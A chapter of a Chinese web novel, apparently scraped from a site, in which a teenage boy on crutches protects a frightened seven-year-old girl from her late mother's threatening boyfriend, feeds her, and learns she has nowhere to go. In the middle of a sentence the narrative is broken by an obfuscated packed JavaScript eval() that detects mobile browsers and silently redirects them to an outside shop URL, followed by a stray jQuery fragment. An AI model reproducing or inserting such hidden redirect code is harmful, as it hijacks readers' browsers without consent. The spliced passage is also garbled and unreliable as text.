8.巧克力
    Chapter 08

    李东似乎十分忌惮警察,他死盯着顾北悬在拨号键上的手,底气不足地重复:“我真是她爸爸。”随后又似想起什么,自得地露出黄牙,“继父,哎对,我是她继父,她妈是我女人,现在她妈病死了,她当然得跟我走了。”

    顾北不信,低头向荆梨确认。

    荆梨大眼睛一眨不眨,想了想,还是摇摇头。

    妈妈从不让她叫李东爸爸,只让她叫他叔叔。

    妈妈说荆梨的爸爸在天堂里过好日子呢,所以李东才不是她爸爸。

    她是小孩她能撒谎吗。

    顾北脑子里冒出这么一句。

    思及此,顾北又将拐杖朝李东怼了下,语气有些无赖:“我管你是继父还是鸭父,这孩子不想跟你走,你非要来硬的我们就去派出所聊一聊。”

    李东盯着杵到面前的拐杖,背上刚被敲过的地方还在隐隐作痛,他恨得牙都要咬碎了,偏偏还不敢真的在医院里做什么,不然闹起来被带到派出所,他最近那些小偷小摸的行径可能就瞒不住了。

    局面僵持了一会儿,见带不走人,李东狠狠剜了眼这个不知道从哪儿冒出来多管闲事的臭小鬼。

    他蹲下身,和荆梨视线平行,脸上扬起一个渗人的笑,话语中满含威胁:“小梨啊,天已经很晚了,玩够了就快点回家,叔叔在家里等你。”

    说罢伸手要去摸荆梨的脑袋。

    小姑娘肩膀一缩,大眼睛里的恐惧与畏缩都快漫出来了,她立刻往顾北身后躲,脸埋在他腰间。

    顾北能感受到小女孩的颤抖,他不禁皱眉,凝着李东的眼神染上审视和阴鸷。

    顾北不动声色地挪了半步,将女孩完全挡住,凌厉的凤眸凉凉地盯着男人的一举一动,直至对方的身影彻底消失在黑暗里,才淡淡收回视线。

    “喂。”

    女孩一直没动,顾北扭头轻声提醒她。

    话音刚落,他便感受到腰后的皮肤被烫了一下。

    是眼泪。

    她哭了。

    顾北没有哄小姑娘的经验,他身体僵在那儿不敢动,全身关节都跟生锈了似的,动一下都嘎吱作响。

    荆梨哭起来一点儿声音都没有,安静到让人以为她是不是睡着了。

    但顾北就是知道她在哭。

    腰上那块皮肤在经受滚热眼泪的烫印。

    滨宁的晚风有大海的味道,咸咸的,湿湿的,也像眼泪的味道。

    顾北喉结轻滚,稍长的刘海在脸上投出淡淡的阴影,遮挡了眸中的情绪,不知想到了什么,他无声地叹了口气,拄着拐杖转过身,接着强忍右腿的不便,艰难地半蹲下来,和眼圈红肿的小姑娘面对面。

    少年好看的面容在眼前放大,对上那双温柔的凤眼,荆梨哭嗝一顿,堵在了嗓子眼,不上不下的,最后被她生生咽了下去。

    顾北被她呆愣的表情逗笑,形状漂亮的眼尾拉出微扬的弧度,原本稍显苍白的脸顿时熠熠生辉。

    他屈指卷去荆梨挂在下巴上的泪珠,语气轻柔,像是怕吓到她:“不怕,他已经走了。”

    荆梨止住了哭泣,时不时抽搭两下,身上粉色小短袖的领口被李东扯得歪歪扭扭没了形状,整个人看起来像只脏兮兮的流浪小猫,抬起小爪子胡乱揉眼睛。

    顾北怕她眼睛感染,连忙制止她,他翻了翻口袋和背包,没找到干净的纸,无奈,只得抓起自己的衣摆,将她的脸和小手都擦了一遍。

    荆梨乖乖地伸出爪子,大眼睛好奇地盯着少年露出来的半截腰看,很细很白,上面还有块状的凸起,莫名的,她想起那种可以掰开吃的巧克力,不自觉咽了口口水。

    连锁反应一般,她肚子发出突兀的轻响,被夜风吹到顾北耳朵里。

    他愣了愣,仰头看她:“饿了?”

    荆梨捂着肚子,大眼睛黑得发亮,点头。

    顾北环视一圈,最后视线落在他吃剩一半的玉米上。

    两分钟后,一大一小排排坐在门诊室的台阶上。

    顾北伸直右腿,两只拐杖搁在一旁,背包被他放到了荆梨屁股底下。

    “叫什么名字?”顾北拍了拍手上的灰,偏头问道。

    荆梨双手抱着玉米啃,嘴边沾了一圈碎屑,闻言挺起背,像做汇报一样语调郑重:“我叫荆梨。”

    妈妈说过,女孩子自我介绍的时候要大大方方的。

    “荆梨?”顾北好笑地睨着她,“哪个梨啊?”

    荆梨才七岁,她不会写字,也不知道怎么表达,低头苦恼地思考了一下,说:“妈妈说,她最喜欢吃梨,所以我叫荆梨。”

    哦,这个梨啊。

    顾北了然点头,接着怀疑地打量了她一眼。

    长得挺可爱的,总感觉不太聪明的样子。

    但又知道被打了要跑。

    “你为什么在医院?”顾北问。

    荆梨乖乖地答:“医生叔叔让我们来交钱。”

    顾北默然。

    估计是她妈生前治疗欠的医药费。

    “那个男的。”顾北又问,“到底是不是你继父啊?”

    荆梨理解困难,眨巴着大眼不解道:“继父是什么意思啊?”

    “……”顾北扶额。

    是真的不太聪明。

    “继父就是……”顾北解释,试图婉转又通俗地讲明白,“就是,嗯——你妈妈的老公。”

    他都要为自己鼓掌了。

    荆梨:“老公是什么?”

    “……”

    空气静了一瞬,顾北差点一口血喷出来。

    他没忍住笑了下,有种自己给自己挖坑跳的既视感。

    “老公就是……”好吧,他放弃了,开始说废话文学,“你妈妈的老公就是你爸爸。”

    荆梨听懂了,这次不假思索地否认:“那他不是妈妈的老公,妈妈让我叫他叔叔,妈妈说他只是男朋友。”

    顾北愣了:“男朋友?”

    荆梨:“对啊。”

    “男朋友你倒知道是什么意思了!”顾北气笑了。

    荆梨奇怪地看了他一眼:“不就是谈恋爱的意思嘛,哥哥你不知道吗?”她捻起脸上沾到的玉米粒放进嘴里,语气天真道,“哥哥你不会没谈过恋爱吧。”

    哥哥你不会没谈过恋爱吧。

    没谈过恋爱吧。

    恋爱吧。

    吧。

    ……

    顾北捂着心口,感觉自己被狠狠地扎了一刀。

    他现在非常想夺过她的玉米扔在地上狠狠踩几脚,让她感受下社会的险恶。

    话题以他被扎心的结局而终止。

    荆梨舍不得地咬下最后一口玉米,嚼了好一会才咽下,最后连手上的碎渣都舔了干净。

    肚子还是饿,但已经没那么难以忍受了。

    顾北瞧了眼那根像被狗嗦过一样的玉米棒,无意识地哼笑了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466759|141594||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声。

    他支着拐杖站起来,居高临下地瞅着小不点:“走吧。”

    荆梨仰起脖子:“去哪?”

    “送你回家。”

    顾北话落突然握拳抵唇咳了两下,咳完他微微一愣,不信邪地探了把额温。

    有点烫。

    许是发烧的缘故,顾北觉得自己的脑袋开始有点晕了,反应也跟着迟钝了几分,他现在只想赶紧把眼前的小不点安顿好,自己再找个地方好好睡一觉。

    荆梨抿唇,低头盯着自己脏兮兮的布鞋,嗫嚅道:“我没有家。”

    她声音太小,顾北没听清,弯腰凑到她唇边,眉头紧皱:“你说什么?”

    少年皮肤苍白,长睫垂掩,精致的五官此时透着一股病态的美感,携着温热的气息扑面而来,荆梨不由紧张地扣起手指,讷讷地开口:“我没有家了,妈妈说有她在的地方就是我的家,可妈妈死了,我找不到家了。”

    听到这话,顾北神情怔忪地顿在原地,许久都不曾回神。

    他空咽了一口,心里不知道是什么滋味儿。

    就觉得,疼,跟有无数根细细密密的小针在扎他的心一样。

    他抬眸细细凝视着眼前的荆梨。

    泛着水光的乌眸中倒映着他的脸孔。

    他失去父母的时候已经十二岁了。

    说大不大,说小不小,但已经能明白他以后得独自面对世界,面对自己没有家的事实。

    可是荆梨才七岁啊。

    连自己的名字都不会写的年纪,把妈妈的话奉为圭臬,她是以什么样的心情才能如此平静地说出“妈妈死了”这句话的呢。

    或许她根本还不清楚“死亡”的意义,只知道妈妈走了,不要她了,她便也没地方可去了。

    顾北长睫颤动,直起身深呼吸了一口。

    是他草率了,现在送她回去她妈妈那个所谓的男朋友肯定不会轻易饶过她的。

    看荆梨对那男人的害怕程度,估计从前他一定做过什么可恶的事。

    “你那个手机呢?”思索片刻,顾北朝她伸手,“你打电话给我的那个手机。”

    荆梨反应过来,从裤子的口袋里掏出一部白色的翻盖手机,小心翼翼搁在少年的掌心。

    顾北点开联系人通讯簿,从上到下翻了一遍,注意到荆梨妈妈给自己那个手机号的备注是“顾大哥的儿子”,他手指微顿,久远的记忆又从脑海深处涌现。

    小学的时候,他每天下午放学都会去烟花厂等爸妈下班一起回家。

    荆勇叔是厂区的保安队长,见他来会热情地招呼他到保安休息室写作业。

    他老婆是个非常漂亮的女人,一头及腰长发,性格爽朗,每天都拎着保温壶给荆勇叔带饭。

    她会轻轻抚摸顾北的后脑勺,边扶着孕肚边帮他批改作业,做的全对的话会得到她温柔的夸赞。

    “要是我的宝宝也像小北这么聪明就好了。”

    顾北懵懂地看着她的肚子,好奇问道:“阿姨,你要生小弟弟了吗?”

    她笑着点头:“不过也有可能是妹妹哦。”

    “小北更喜欢弟弟还是妹妹呢?”

    顾北想了想,随后扬起笑脸:“我更喜欢妹妹!”

    回忆到这里戛然而止。

    淡淡的酸楚从鼻尖蔓延。

    顾北轻叹一声,绞尽脑汁都想不起女人的名字。

    只记得荆勇叔总叫她:“阿倩。”